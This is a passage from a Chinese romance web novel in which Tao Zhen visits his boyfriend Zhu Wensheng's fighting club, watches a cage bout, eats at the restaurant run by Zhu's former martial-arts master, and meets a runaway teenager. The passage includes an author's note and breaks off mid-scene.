“对不起啊兄弟们,我们教练一向都是这个脾气,他对我们的要求比较严格,而且害怕泄露战术……” 陶真和白宇轩都心有余悸,表示理解。 有位“教导主任”在一边,三人连说话都不敢太大声,蹑手蹑脚地跑到了不远处的训练场所后才短暂地交流了几句。 在得知陶真的目的后,大海决定和另一个专业选手打一场,切实地让他体会一下格斗的魅力。 两个专业选手戴好拳套,立刻就摆好了对战的驾驶。 在白宇轩宣布比赛开始后,双方如同试探的野兽一般向彼此靠近。 试探、后退、进攻。 “啪”地一声,大海一记横扫,狠狠地将对方压在地上。对方也不甘示弱,立刻绷起身子猛烈反击。 双方拳拳到肉、充血的大块肌肉青筋暴起,汗液疯狂流淌,在地上颤斗时如同在撕咬。 眼前的画面血腥且狂热,陶真看得心脏情不自禁快了起来,渐渐明白了为什么这种运动会那么吸引人。 那股源自血液和骨缝的纯粹野性,实在太令人肾上腺素飙升了。 一场酣畅淋漓的格斗结束,最终大海以微弱的优势赢过了另一人。他们都气喘吁吁地从地垫上爬起来,胡乱地拧开水瓶往下浇,水流顺着胸腹肌肉往下流淌,极为性感。 虽然身段条件并不如祝闻声,但该有的地方都有,已经是超越百分之九十五成年男性的程度了。 陶真看得很是羡慕,情不自禁地低下头,看了看自己又扁又平,干干瘪瘪的小肚子。 几人见状都忍不住笑了,白宇轩调侃道:“别羡慕,他们那是吃饭要用的,必须得练得这么厉害。我们都是普通人,用不着有身材焦虑。” 陶真挠了挠金发,有点讪讪:“是这个道理……” 见他还是有些闷闷不乐的样子,大海想了想,很大方地说:“要不这样吧,你来我身上摸一下你想练的肌肉,我告诉你一点能练到那里的动作。” 陶真眼睛一亮,明显有点心动。 尤其是当大海双臂用力凹了个健美先生的造型时,他情不自禁地上前了一步,盯着那块健硕的肌肉看了几秒,忍不住伸出了手。 然而,就在陶真的指尖搭上大海肩膀的同时,不远处忽然爆发了一阵小规模的骚动。 刺目的白炽灯下,隐隐约约可见一个高挑少年慢条斯理地拾级而下。他的大半身体隐藏在黑暗中,线条起伏而饱含爆发力。 其余训练中的选手忙不迭地抬起头,你一言我一语地问好:“S哥!”“S哥早上好!” 就连那位对他们不假辞色的教练,都匆匆忙忙地跑了过去,如同变脸大师一般露出了谄媚的笑容: “S!你今天不是请了假吗,怎么又不出去了?” 那少年只淡淡说:“他没空,我就不休息了。” 开口的声音极为清冷,又极为熟悉。 陶真的心咯噔一下,缓缓扭过头,慢吞吞地抬起了眼。 下一刻,那位冷淡的少年安静地走下了最后一级台阶。 他立在众人的围绕中,侧脸俊美而沉郁,若有所感般侧过脸,朝陶真的方向看了过来,视线缓缓滑过。 ——最后,落在他摸着大海肌肉的手上。 22-30 22 ? 第 22 章 ◎“你也只是因为觉得我可怜,所以才跟我在一起的吗?”◎ 陶真触电般收回手, 胡乱地在衣角上擦了擦水。 然而他到底还是迟了几秒,祝闻声已经向着他的方向一步步地走来。 连带着一众选手和教练的视线,陶真顿时感觉到自己压力山大, 身体僵硬在原地。 他也说不清为什么,莫名生出了一种巨大的心虚, 活像是个被妻子逮到出轨的丈夫。仿佛都能从祝闻声淡淡的表情中读出质问:原来你说的没时间出来吃饭,就是为了做这件事。 ——原来你说的很忙,就是忙着摸这个男人的肌肉。 几秒后, 祝闻声站定了。 刺目的白炽灯下,他俊美冷淡的侧脸被雕刻得犹如天神雕塑, 英挺的眉微微压住眼,隐住眸底浓郁而幽沉的情绪。 他的目光先扫过一旁目瞪口呆的白宇轩,紧接着便牢牢地注视着陶真。 陶真下意识地咽了咽口水,然而就在他几乎快要忍不住上前扯住祝闻声袖子的时候, 祝闻声终于开口了。 “大海, ”少年的声音清冷而微沉, 对着那始终背着大家、凹着健美pose的黑皮小子道,“你的横扫练的怎么样了?” 猛地听见了S哥的声音, 大海差点一个踉跄背过气,他手忙脚乱地转过身, 霎时被四周环绕的视线吓了一跳。 他虽然不明白为什么祝闻声会特意走到他面前问他的格斗技术练得如何,但还是情不自禁地激动道:“S哥!我…我练得应该比上次好了一点,因为你教过我要我认真观察,像以前老k1战警他们,腰胯部的力量一定要很强, 所以我……” 祝闻声安静地听了几秒, 语气平稳道:“行, 那你过来,跟我实战演练一下。” “……”原本还在滔滔不绝的大海顿住了,他心脏狂跳,情不自禁地有些畏怯,“我,我吗?” 祝闻声又不经意地看了眼一旁的陶真,颔首道:“过来。” 大海苦着脸,如丧考妣,跟在祝闻声的身后,挪向室内最大的八角笼。 陶真的心咚咚一跳,用力地拍了一下旁边跟傻了一样站在原地的白宇轩,匆忙地跟了上去。 象征着激情、血腥和野性八角笼外围满了一道道狂热的视线。笼内的大海则连腿脚都在发软,恐惧地看着不远处摆好了进攻驾驶的祝闻声,极小声地说: “S哥,抱歉,我今天只是想带我朋友到俱乐部来参观一下,他们都不是别的俱乐部的人,只是对我们这有一点好奇而已,您别生气,我们不是故意的。” 祝闻声的动作微微一顿,掀起眼睫望了他一眼。 大海却仿佛受到了鼓舞,又加快语速为自己辩驳:“我刚刚和大刘两个人在地垫那边训练、演示了一下,我朋友的朋友对健身有点感兴趣,我就让他摸一下我身上的肌肉,看他想练哪里,告诉他一点练习的秘诀……” 话音未落,祝闻声淡淡打断道:“笼里不言。” 正式比赛需要戴护齿,根本没有给比赛双方说任何话的机会。 大海立刻闭上嘴,僵硬地摆好防御架势。在短暂几秒的试探后,他一咬牙一狠心,高高地抬起腿,想使用出刚刚在地垫上将对手放倒的那一招。 然而刚刚还所向披靡的那一招,到了祝闻声这里,忽然变得如同儿戏一般,被他一闪身和劈手轻易化解。一秒之内,大海瞪大了眼,意识到自己眼前天旋地转,像个被抓住腿的沙包一样重重地惯到了地上。 他两眼一黑,努力挣着一口气抬起腿,想要利用地面缠斗摆脱困境。可惜的是,地面缠斗是S最擅长的类型。大海的横扫、地面缠斗……全都是对他的拙劣模仿。 五分钟一场的比赛还没到时间,胜局已定,TKO,祝闻声用拳套不轻不重地拍了拍大海的鲨鱼肌,言简意赅地说:“回去继续练,腰腹力量还要加强。” 大海躺在垫子上缓了好一会,颤颤巍巍地爬起来,又心有余悸地倒了下去,小鸡啄米似的点头。 而祝闻声收回了视线,干脆利落地翻越了八角笼边缘,极为漂亮地落在了地面。 众目睽睽之下,他不紧不慢地向陶真的方向走来。 这次连一个多余的视线都没分给白宇轩,只用粗粝而滚烫的掌心攥住了陶真的手腕,拉着他一路走向了空无一人的楼梯口。 “……” 陶真跌跌撞撞地跟在他身后,目光呆呆地扫过祝闻声劲瘦精壮的胸腹肌肉,无数话堵在胸口,却什么也说不出来。 “祝闻声……” “陶真。” 祝闻声与他同时开口,轻声打断道:“你想练身上哪里的肌肉?” “……” 陶真讷讷地低下头,莫名心虚,嗓子不自觉地有点干涩,“也……咳,也没有什么特别想练的地方。我只是有点羡慕,所以随便看看……” 白炽灯的光芒到楼梯即止,二人一高一低地站在一大片浓重的昏暗里。 祝闻声转过身,弯下腰和陶真平视,纯黑背心遮挡不住领口处一大片线条流畅完美的锁骨。接着往下,是一寸一寸精心雕刻出来坚实有力的肌肉。 比在场的所有人都练得更好,更完美,不仅漂亮,还蕴藏着惊人恐怖的爆发力。 他拉起陶真的手搭上他的胸口:“这里?” 陶真微微瞪大了眼,手下的触感极好,温度滚烫。 他只摸了几秒,还没摸够,就见祝闻声往后退了一步。 “你昨天跟我说今天要做的事,原来就是这个。” 祝闻声站直了身子,居高临下地看下来,瞳孔漆黑,声音清冷平静: “陶真,他的身体比我的好摸吗?” 陶真像是只被叼住后脖颈的小猫一样,条件反射地僵直了身子,有种被危险的野兽盯上的直觉。 凶狠森白的犬齿就架在身上,如果一句话说得不对,就会重重地闭合,将他直截了当地吞进去。 “……我不知道,我只是搭了一下,什么都没有感觉出来,”半晌,陶真才僵僵地眨了一下眼睛,条件反射地说,“我当然很想跟你一起出去吃饭呀,可是我必须得到俱乐部来拍一点照片,不然我爸不会放心的。” 祝闻声眸如点漆:“你爸?” “他从我新视频的底下摸到了评论区,知道我跟你在一起,所以一直在跟我要你的信息,包括你打拳的地方,”陶真忽然有点委屈,“可我以为你打的是…拳,就没敢直接跟他说,想自己过来拍点照片什么的,免得他不接受你……” 金发少年无精打采地垂下头,抿起唇,雪白两颊的软肉似乎都瘪了下去。 祝闻声盯着看了几秒,胸腔的那股无名火泄得一干二净,取而代之的是一阵猛的震颤,一股前所未有的情绪冲上了胸口,连喉结都不自觉地滚了滚:“你……让你家人知道我们的关系了吗?” “对啊。”陶真闷闷地说。 祝闻声呼吸一滞,垂在身侧的拳微微握紧,心底生出一股近乎奇妙的感觉。 他没忍住垂下眼,细细地将陶真看了一遍,从口袋抽出一张湿纸巾,一点点地替他擦了擦手,低声问:“那个深蓝色衣服的教练为难你了吗?” “也不算为难吧,就是没让我再拍照片。也能理解,毕竟训练室的东西都是机密,不能随随便便地被我发到网上去。” 陶真的指尖传来了一阵酥麻潮湿,像是被大猫抱在怀里用舌头.舔.舔,表示安抚。有点奇怪,但不讨厌。 “不过,他对你的态度怎么那么好呀?”陶真好奇。 祝闻声一顿,大掌轻轻拢着他的指尖,一边带着他往二楼的宿舍区域走,一边思考自己该如何表述。 “还有,你怎么那么厉害呢!我刚刚看大海跟人打拳,他已经很牛了,结果你过去以后,唰唰唰就把他打趴下了,”陶真一步跨上两个台阶,有点兴奋地说,“我以前一直以为你是打黑拳的,可是白宇轩跟我说,你们这里都是特别特别正规的俱乐部呀,都能去参加那个金腰带比赛的——” 一截楼梯走完,两人在通往宿舍的走廊里站定。 两侧都是一室一厅、原木风的装修,尽头便是独属于祝闻声一个人的超大休息室。 “所以,你在这样的俱乐部里打拳,工资是多少呀?” 陶真反应了几秒,脑海里倏地冒出来了一个念头,“这种比赛的奖金应该不会太少,那你之前跟我说,‘我没有你想象之中的那么穷’……” 祝闻声的身体略微有些僵硬。 他也不知道为什么,从前明明很迫不及待地向陶真证明自己的身份,这会却有些纠结,不知该如何开口了。 不远处忽然传来了一道细微的吱呀声,陶真下意识地看了过去。 祝闻声没注意到他的视线,平复了一下呼吸: “陶真,我……” “不用说了,”陶真猛地抬起了手,满心满眼都写着心疼,“我都知道!” ……知道什么? 祝闻声一怔,顺着他视线的方向望了过去。 黎旻早上出去溜德牧的时候没把门关好,这会被风一吹就开,露出了里面的一片狼藉。 大概是昨天晚上它没跑够,所以在房间里乱闹,把原先的被褥撕扯得坏了大半,只能睡在冰凉的铁丝网上。黎旻拿它没办法,就去祝闻声的衣帽间里找了两件不穿的衣服给它垫着。 其中就有那条十二万人民币的克罗心牛仔裤。 也就是,上次他在陶真面前,穿过的那条。 “……” “他们就是看你好欺负,背后没人,所以哪怕你这么厉害了,还是对你很苛刻,”陶真鼓起脸,很不高兴地说,“这个俱乐部外表这么光线,怎么这么压榨选手啊!简直比打黑拳的地方还黑!!” 陶真干脆地牵起祝闻声的手一块下楼,少年手掌骨节分明,十指纤细柔软,仿佛柳枝一般轻柔:“一定要住在这里吗?不可以出去住吗?” “我家还有个空房间,比这里环境好,你要不干脆搬过来跟我住好了……” 祝闻声沉默了几秒,心脏忽然被人轻抚了一般,再一次放弃了辩驳:“住在这比较方便,可以每天训练。” 陶真仍是不太开心的模样:“哦……” “还要拍照片吗,”祝闻声的语气低低柔柔的,“拍完以后,我带你去吃饭?” 陶真眼睛一亮,显然是有些心动,却还矜持地挠了挠自己一头灿金的乱发,隐藏在其中的耳朵尖红彤彤的:“好吧。” 半分钟后,他与祝闻声一块下了楼。 原本正讨论得热火朝天的众人看见他们下来,赶忙欲盖弥彰地收回视线,假装做自己的事情。 白宇轩却魂不守舍,被惊呆了的大海抓住肩膀反复摇晃。那穿着深蓝色衣服的教练也一脸呆滞地思考人生。 直到看见陶真掏出手机,打算去各处拍照,他才猛地惊醒。 刚想去阻拦,便听见黑发少年淡声道:“没关系,不用拦。” “以后,如果见到他来,随便他想做什么都可以。” 教练跟呆头鹅一样愣在原地,不敢相信自己听见了什么。 他们几人呆呆地目送着陶真收起手机,和祝闻声一块出了门,才猛地聚到一块疯狂地讨论了起来,训练室热闹得犹如溅到凉水的热油锅。 …… 打开俱乐部的大门,映入眼帘的是极蓝的天空,雪白的流云。 初秋的天气略微有些凉,四处都洋溢着桂花的浅香,清新好闻。 陶真深吸了一口气,脚步极为轻快地跳下了楼梯。他刚刚把照片打包发给了陶大俊,也算是暂时卸下了心头的包袱,这会极其高兴地转过身,有点兴奋地问祝闻声:“我们今天去吃哪一家餐厅呀?” 没等祝闻声回答,他又忽然想起了什么,眼睛亮晶晶地补充道:“上次那家Omakase的小姐姐还打电话给我,说他们家的菜品改良了,问我要不要再去一趟呢!” 那家Omakase…… 祝闻声的眉心不由自主地跳了跳,他略微有些无奈地说:“不去那家。” “带你去一家私房菜,”他的目光闪烁了几秒,略微顿了顿,“他家…挺好吃的。” 陶真很好哄地“哦”了一声,像是个即将要去春游的小学生,满心满眼都是期待。 等车的间隙很无聊,他干脆在人行道上跳了会格子,蹦蹦跶跶地扬着张笑脸,还在单脚独立的时候拉住了祝闻声的袖子,笑盈盈地呼出一口气:“好险!” “祝闻声,你要不要跟我一起玩啊?”陶真的眼睛亮晶晶的。 祝闻声被这么猛地一拉,身体连晃都没晃,只是伸出一只手牢牢地托住了他的胳膊肘。视线不自觉往下,落到他松散开的鞋带上,指尖不自觉地动了动,似乎已经在脑海中模拟出了系蝴蝶结的样子。 “小心……” 陶真也低下头,“哎呀”了一声。 他松开了抓住祝闻声的袖子,“啪嗒”一下双脚落地,猛地弯下腰开始系鞋带。由于动作太剧烈,宽大的卫衣从后臀往前滑到了胸口,露出了一大截雪白而纤细的腰肢。 祝闻声的十指猛地蜷了起来,想要挪开眼,视线却仿佛生了根一样扎在原地牢牢不动。喉咙里的水分似乎被抽干了,干渴的感觉蔓延上了全身。 一直到陶真站直了身子,牛仔裤顺势垂下,遮住了一小段细瘦伶仃的脚踝,他才后知后觉地收回视线。 陶真没有注意到他的异常,高高兴兴地抬起头:“司机说他要到啦,我们也往他的方向走吧?” 祝闻声的喉结滚了滚,哑声道:“嗯。” 他若无其事地与陶真并肩迈步,远远望着前方,脑海却不受自己的控制,反复重播着刚刚映入眼帘的那些画面。 从少年腻白柔软的腰窝,到隐藏在宽大牛仔裤下饱满笔直的双腿,再到那一节清瘦且分明的骨踝……一帧帧一幕幕,越看,便越觉得心中有团奇怪的火焰在燃烧。 少年并不像俱乐部里那些格斗选手满身肌肉,反而身体纤细,腰肢薄韧。 嫩得像是刚从地里冒出来的笋子,河畔柳树新抽条出来的枝芽…… 车辆在两人面前停下,车门打开。 陶真忽然转过了头,圆润的杏眸眯起,盯着祝闻声的方向仔仔细细地打量了几秒。 祝闻声骤然回神,心脏漏跳一拍。 按捺下脑海中胡乱的思绪,才发现陶真看的不是他,而是他身后连接Light俱乐部和隔壁一栋大楼的小巷子。 “那里——” 怔了一瞬,祝闻声也顺着他的视线望过去,看见了一块清洁工还没来得及收拾的垃圾分类处,里面的垃圾几乎快要满溢出来,散发着熏天的恶臭,一道黑影在其中一闪而过。 “看见什么了?” 陶真定定地看了几秒,不太确定地眨了眨眼,最终还是收回了目光:“唔,可能是我眼花了。” “走吧,我们去吃饭啦!”他冲祝闻声做了一个“请上车”的手势,扬起了一个大大的笑脸。 祝闻声顿了一会,最终还是没有在这件事上纠结。 他带陶真去吃的这家餐厅其貌不扬,坐落在七拐八拐的居民区,一栋相当清幽朴实的小院子里。门口没有巨大的门牌和标识,只有一个小木板,上面用篆书雕刻着“老江”这两个字。 比起上次Omakase的奢华环境,这里显然简陋多了。陶真和祝闻声在一张四四方方的木头桌子旁坐下,手边摆着一副青花瓷的碗筷,比起餐馆,更加像是在某个长辈的家里吃饭。 陶真有点好奇地打量了一圈四周,没找到菜单,也没找到服务员。 刚想问祝闻声这里要怎么点菜,便见他站起身,拨开了遮挡在后厨和前厅之间的扎染布帘,去后面跟人说了两句话。 回来之后,那里便传来了一阵大灶台开启后猛火爆炒的声音,火焰油爆声轰轰轰地直响,飘来了一阵糖醋鲜香。 这种点单方式陶真以前闻所未闻,但令他感到神奇的还不仅于此。等后厨的东西烧好之后,祝闻声竟然还是自己拿着小推车去后面将那些菜端回来的。 凉菜,炒菜,每一道都鲜亮喷香,除此之外,还有一个极为厚实沉重的砂锅。 陶真原本的满腹疑惑在菜上来的这一刻尽数忘光了。每一道菜都是他喜欢的口味,一个个挨个尝过,酱香、甜香、麻辣香,各种鲜香味道交织在一起。 口感厚实奶香的牛肉、炒得青翠鲜嫩的小菜……香得几乎让人要把舌头给吞掉。 他吃得相当满足,被辣得忍不住小口小口地吸气,眼睛里蕴着亮晶晶的水光。 腮帮子圆鼓鼓的,嘴唇染上些许红艳色,蓬松柔软的金发垂在额前,有两缕被微微汗湿。就像是一只吃到喜欢罐头的小动物,幸福得恨不得眯起眼睛,在地上翻滚,露出毛绒雪白的肚皮。 祝闻声盯着看了几秒,心里忽然泛起一阵痒:“好吃吗?” 陶真重重地点了点头:“嗯!” 祝闻声的指尖微微攥紧,盯着他的侧脸看了几秒,接连调整了一下坐姿。 过了几秒,他干脆抬起手,掀开了一直放在桌上的砂锅盖。药材的清香和浓郁的鸡汤味溢满了整个屋子,一层金黄鲜亮的油脂漂浮在上面,压住了底下奶白色的汤和鸡肉。 祝闻声舀了一小碗汤和拆骨肉放到了陶真手边:“慢一点喝,小心烫。” 正埋头苦吃的金发少年没听清,欢快地接过碗便大喝了一口,霎时被烫得浑身一抖,尖锐疼痛的感觉从舌尖飙升到头顶。 “噗!” 热汤淅淅沥沥地顺着桌子的边缘流淌,眼泪也不受控制地滚了出来。场面一时狼狈至极。 “张嘴。” 祝闻声豁然起身,掰过陶真的脸,用双指拨开他因疼痛紧锁的牙关,又迅速地拿来不远处茶水桌上的冰块,干脆地塞了进去。 陶真下意识地想躲,冰火两重天的感觉实在是太糟糕,刺激得让人想逃跑。可祝闻声的力道很大,轻而易举地钳住了他的下巴,令他不得不吐出被烫得嫣红的舌尖,泪眼汪汪地呼着气:“不舒服……疼……” 祝闻声蹙眉,又拿了块新的冰轻轻地放了上去。冰甫一接触到滚烫的舌面,就像是消融的蜡液一样滴滴答答地化了。 澄澈温凉的水珠顺着他的指尖一点点地流淌到手腕,他却毫无所觉地低着头,细细地观察着陶真的上颚。 “就是因为疼所以还要再含一会,不然明天容易起泡。” 陶真可怜巴巴地仰着脸,没法挣脱,只好伸手抱住他坚硬如铁的手臂,含含糊糊地说:“不是……” “是你掐得我好疼……” “……” 祝闻声手上的力道霎时一松,抽回了自己的手臂。 着急的情绪消散后,取而代之的是不受控制的绮色瑰念。陶真的舌尖嫣红,眼尾因为疼痛而沁出了生理性泪水,看起来极为可怜。脸颊雪白粉嫩,摸起来的触感软得像是一戳就碎的水豆腐。 他其实根本没用多大的力气,但那里已经留下了痕迹。 像是被火焰燎到了一样,祝闻声垂落在身侧的手指反反复复地动了几下,最终克制地捏紧,声音有些低哑: “对不起,我刚刚太着急了。” 嘴巴里的冰块融化得很快,将那股火烧火燎的疼痛感压了下去,舌面变得木木的,已经没刚刚那么难以忍受了。 陶真吸了吸鼻子,脸颊鼓鼓地摇了摇头,大方地笑了一下:“我知道……你刚刚只是想帮我而已……你的衣服都被我弄脏了。” 闻言,祝闻声才发现自己的袖口多了一滩不小的水渍。 从来都在口袋中备着纸巾的人,如今不甚在意地把袖子捋了起来,便弯腰替陶真收拾起了面前的一片狼藉。 黑发少年低着头,侧脸俊美而冷淡,动作却意外地极为温柔。 陶真感受着从他身上传来的灼热温度,不自觉地咽了下口水,后脊椎那条看不见的尾巴绷紧了,带起了一阵酥麻颤栗。 他略微有点不自在地伸手挠了挠脸,却又不知道这种情绪到底是从哪冒出来的。 所幸这种感受没有持续太久,也许是因为他们两人的动静实在是太大了,后厨的布帘忽然被掀开,一个看起来四五十岁的男人匆忙走了出来,声音雄浑粗厚:“刚刚发生什么事了,我听见你……诶?” 看见陶真,这男人一愣,似乎根本没想到外面竟然坐了两个人,目光里有些稀奇:“阿声啊,这位是——你的朋友?” 祝闻声站起身喊了声“江叔”,余光不动声色地看向了陶真,走到了江龙的身边,唇瓣微微动了动,低低地说了几个字。 江龙有些吃惊,很快却又笑了出来,神色莫名有些感慨,重重地拍了拍祝闻声的肩膀,与他低声耳语了两句,这才往陶真的方向走了两步: “不好意思啊小朋友,招待不周了。这孩子第一次带人来我这儿吃饭,也没提前跟我说。今天这几个菜你还喜欢吗?我再给你做两个?” “没有招待不周,您烧的菜特别好吃,今天的每一个我都很喜欢,等会我还想再打包两个菜走呢!” 陶真忍住舌头略微有点不舒服的感觉,笑眯眯地和江龙说完,又好奇地看向祝闻声,“说起来,你们…认识?很熟?” 江叔笑而不语地看了祝闻声一眼,伸手把搭在肩膀上的围裙系好,走向后厨为陶真烧菜。 祝闻声则重新坐到陶真对面,伸手为他倒了杯冰水,才在他那无比好奇的晶亮眼神中轻声开口:“他是我师父。” 陶真浑身一震,祝闻声的师父? 哪方面的?格斗? “嗯,他很厉害,年轻时差一点摘到金腰带,只是后来因为伤病退役了,”像是看穿了陶真的疑问,祝闻声淡声补充道,“从我小时候就开始教我武术,一直到十六岁。” “不再教我以后,他就重拾爱好,在这里开了一家私房菜馆。” 陶真微微睁大眼,看不出来刚刚的江龙竟然那么厉害。不仅在打拳方面有那么高的成就,做饭还这么好吃,颇有种扫地僧大隐隐于市的感觉。 两人离开前,江龙还把两袋子热腾腾的菜肴塞给了他,甚至坚决不收他的钱。 陶真无法,实在拉扯不过跟昔日差一点成为世界冠军的人,只能跟祝闻声一块出了小院子。 巷子里面不好打车,得走到大路上。 陶真溜溜达达地走在前面,脚步轻快,一会看看路沿两侧住户种的盆花,一会又稀奇地去看从墙头冒出来的野草,如果不是人类不具备轻松跳跃上树的功能,他就跟吃饱了到处消食的小猫没什么区别。 祝闻声只在他即将走到死胡同时才出言提醒一句,其余时间都安静地跟在他身后,替他拿着手里的打包袋。 两人就这么一前一后,意外又和谐地走出居民区,在等车的时候意外碰见了一群打扮极为精致华丽的贵妇。她们聚在一块,略微有些不适地扇了扇风,问那个领头人:“你说的那家私人料理在哪里呀,怎么绕了一圈还没有看到?” 领头的贵妇也很无奈:“我上次来就在四合院里面的呀,这次有点迷路了……” “怎么他们家都没有人来接一下的呀,”一人抱怨道,“架子怎么那么大,一天只接一桌,好不容易才约上。” “何止呀,他们家还不让打包的嘞,说是会影响口味。老板的本事可大,据说跟那个祝家有关系……” 听见熟悉的字眼,祝闻声转过头,淡淡地扫了一眼那几个女人。 女人们没注意到他,抱怨完了就重新往小巷子里钻。倒是陶真注意到了他的视线,好奇地问:“诶?这边除了江叔,还有别人做私房菜啊?” 祝闻声顿了顿:“……有吧。” 陶真试图帮他分担一些拎了许久的打包袋:“好吧,听她们的语气,那家店还挺火,架子好大。” “明明江叔做的菜那么好吃……希望江叔以后能超越他们!” 汽车在两人跟前停下,打了个双闪。 祝闻声没让陶真拎东西,示意他上车,漆黑的眼神却有些意味不明:“嗯。” 回去的这段车程很快,两人在俱乐部门口不远的地方停下。 在进去和白宇轩和大海他们打招呼之前,陶真忽然想起了什么,拉着祝闻声一块,拐去了不远处的大楼和俱乐部之间的小巷子。 他探头探脑地在巷子里看了半天,不知看到了什么,惊喜地“啊”了一声,从祝闻声手里的打包袋里抽出了一份菜,向那个方向走了过去。 祝闻声一怔,下意识地跟上。 巷内的垃圾分类处后竟然蹲着一个灰头土脸的少年,看起来约莫十四五岁的年纪,穿着破破烂烂的校服。 不知到底遇见了什么事,脸色萎靡、苦巴巴的,一边不停地扭头向俱乐部张望着,一边用手指在地上来回画圈。 发现有人过来,他的第一反应就是站起身逃跑。 但这次陶真比他的动作更快,率先把手里的热乎乎的打包盒递了过去: “哎!先吃点东西吧!” “……”少年被一盒香喷喷的菜塞了个满怀,踉跄了两步才站稳,有点呆呆地回头。 他看清了,陶真就是两三个小时前在巷子口盯着他张望的人。 “看你这个年纪应该还是学生,怎么会一个人跑到这种地方来啊?” 陶真舌头还有点痛,说话比较慢,见少年不反抗,才伸手替他掸了掸肩膀上的塑料包装袋,“被学校的同学欺负了,没钱回家了吗?” 少年低着头,闷声不语。 陶真热脸贴上冷屁股,也不生气:“不要不好意思跟大人说。钱弄丢了、考试没考好,都不是什么大事。” “我给你五百块钱,当成你的路费,”他从钱包抽出几张现金塞到男孩手里,“早点回家,行不?” 少年的身体微微一颤,有些吃惊地抬起头:“你……我不用……” 陶真却仿佛看穿了这少年伪装面目下的脆弱,强硬地把钱塞了过去,再度拍了拍他的肩膀,嘱咐了一句趁热吃。 少年有点局促地攥住手里的钞票,鞋子在地上摩擦了两下,发出吱呀的不安声响。 陶真转过身,拉起祝闻声的袖口准备走。 但祝闻声却掏出了手机,对他示意了一下:“我给江叔打个电话,等下回去。” 陶真不疑有他,笑着冲祝闻声挥挥手,拎着其他的打包盒往俱乐部里走。 目送着陶真走远之后,祝闻声才收起了手机。 他居高临下地看向那少年,视线漆黑如墨,神色平静地开口:“说实话,你过来是干什么的。” “!” 少年浑身一抖,下意识地往后退了两步,目光有些警惕:“你、你什么意思……” “你的穿鞋打扮都不缺钱,身上的痕迹也不是跟人打架弄出来的,”祝闻声淡淡地说,“而且,我前两天在Light里看见过你。” “你跟你父母来办会员卡,还趁着他们都不在意地时候偷偷溜进了专业格斗选手的训练室。” 少年怔怔地愣了几秒:“……你怎么知道?” 祝闻声没回答,冷淡地说:“先说清楚,你为什么要在俱乐部门口蹲这么长时间。” “……” 少年咬了咬牙,权衡了一番自己跟眼前人之间的实力差距,最终还是放弃了挣扎,讪讪道:“我想和俱乐部签约,想成为专业的格斗选手,想去UFC打比赛,想拿到金腰带。好不容易才求着我爸妈带我过来看了一下,可是他们只愿意给我办理普通会员的健身卡,不愿意让我休学去搞专业格斗。” “他们觉得这种运动实在是太危险了,所以不想让我练……我跟他们说不通,所以就离家出走了……” 祝闻声黑眸沉沉,给人带来的压迫感极强。 那少年沐浴在他的视线下,说着说着,声音就越来越低,自己也意识到这种行为不太对,但还是强撑着小声说: “他们一天到晚就知道说什么安全,害怕我受伤,简直把我还当成三岁小孩看。” “……哥,你能知道我溜进训练室,肯定也是专业选手。你能不能帮帮我……?” 空气安静了片刻,一旁的垃圾分类处传来了一阵阵难闻的气息,窜入鼻腔,惹起一阵恼人的烦躁。 祝闻声定定地看了一会这义愤填膺的少年,毫不近人情地拒绝了他的套近乎:“不行。” “Light和未成年人签约,必须经过监护人的同意。” 在少年渐渐熄灭的目光中,祝闻声极冷漠地抽出了手机,点开了通话页面:“你就是在这里呆再久也没用。趁早给你家人打个电话,让他们带你回去……” 话音未落,那少年无能狂怒地在原地跺了跺脚,用力地推了祝闻声一把,向远处拔足狂奔而去。 他的速度和力气于祝闻声而言简直不堪一击,但祝闻声并没有抬腿去追,掸了掸衣上的灰尘,就收回了目光。 作为旁观者,他无权插手干涉别人的家事,别人的生活。 格斗是一种一定会流血或受伤的运动,比任何其他的“竞技”运动都要更直接,更凶残,早年间比起正式的比赛,更像是猎奇的表演。 那少年的父母接受不了是很正常的。只要是一对普通父母,一对在乎孩子的父母,都会担心。 那少年不懂这份担心有多珍贵。 祝闻声安静地在原地站了几秒,转身往俱乐部里走。 同从前的千百次一样,孤独地越过热闹喧嚣的人群,神色沉郁地躲回八角笼中。 可这次,事情发生了变数。 踏入大门的瞬间,金发少年就注意到了他,立刻兴奋地踮起脚挥手,声音清朗:“祝闻声,你回来了呀!” 白炽灯刺目,祝闻声猝不及防地眨了眨眼,被那个灿烂的笑容晃了眼神。 陶真雪白小脸眉眼弯弯,金发反射着璀璨晶亮的光芒,朦胧又惊艳,好像一个落入人间的小太阳。 祝闻声沉寂已久的心脏久违地跳动起来,浑身的血液沸腾,随着呼吸涌上了头顶,“嗯”了一声,大跨步地向那个方向走去。 见他站定,陶真笑眯眯地展示了一番桌上吃的一干二净的打包盒,大肆夸赞了一番江叔做饭的手艺,旋即才又小声问他:“你回来的时候,门口那个学生走了吗?” 祝闻声安静地听完,沉默了片刻,才道:“走了。” 心中万千情绪交织在一起,迫使他继续开口。 “他其实一点都不穷,只是跟家里人闹了矛盾,要离家出走,所以才把自己弄成了那副模样。” 陶真略微有些惊讶:“是吗?” “那就好,幸好他只是离家出走,而不是出了什么别的事!” 下一刻,陶真松了口气,眉眼弯弯地说:“我本来还在担心要怎么帮他……” 祝闻声的心挤在一起,一股难以言喻的情绪仿佛被锤烂的柠檬,溅出了一地酸酸涩涩的汁。 他忽然打断道:“陶真,你是不是无论看见什么可怜人、穷学生,都会想着要帮他们?” “如果我刚好看见的话,肯定……” 陶真眨了眨眼,忽然听出祝闻声的语气有些不太对:“你……怎么突然这么问?” 祝闻声的黑眸沉沉:“我呢?” “你也只是因为觉得我可怜,所以才来包.养我的么?” 【📢作者有话说】 从此刻开始,祝·太子爷·闻声,将华丽变身为祝·穷小子,每天生怕在老婆面前掉这个马甲…… 入v第一天留评掉落小红包呀,再次安利隔壁新文《竹马溺爱症》~ 23 ? 第 23 章 ◎他就乐意被陶真包.养◎ 陶真一噎, 一时间竟然不知该如何回答。 他不得不承认,祝闻声的“穷”,的确是促成包养关系的很大因素。不然他就算再对祝闻声一见钟情, 也不可能会莽撞到那种地步。 “我……” 陶真有些支支吾吾,不知道该如何确切地解释, 整个人都有些手足无措,“我不是那个意思,我没有觉得你很可怜, 我知道你以后肯定会很有出息,只是……” 祝闻声定定地看了他几秒, 胸口那股气仿佛忽然泄了。 他伸手替陶真理了理蓬松柔软的呆毛,声音低沉而喑哑: “行,我知道了。” 你你你,你知道什么了? 陶真挠了挠自己被捋顺过的脑袋, 莫名产生了一种很不安的感觉, 仿佛有什么很重要的点在脑海里一闪而过, 他死活都抓不住。 祝闻声今天怎么会忽然这么反常呢? 有什么事情不对了? 陶真的大脑急速运转,乌溜溜的眼睛在四周转了两圈, 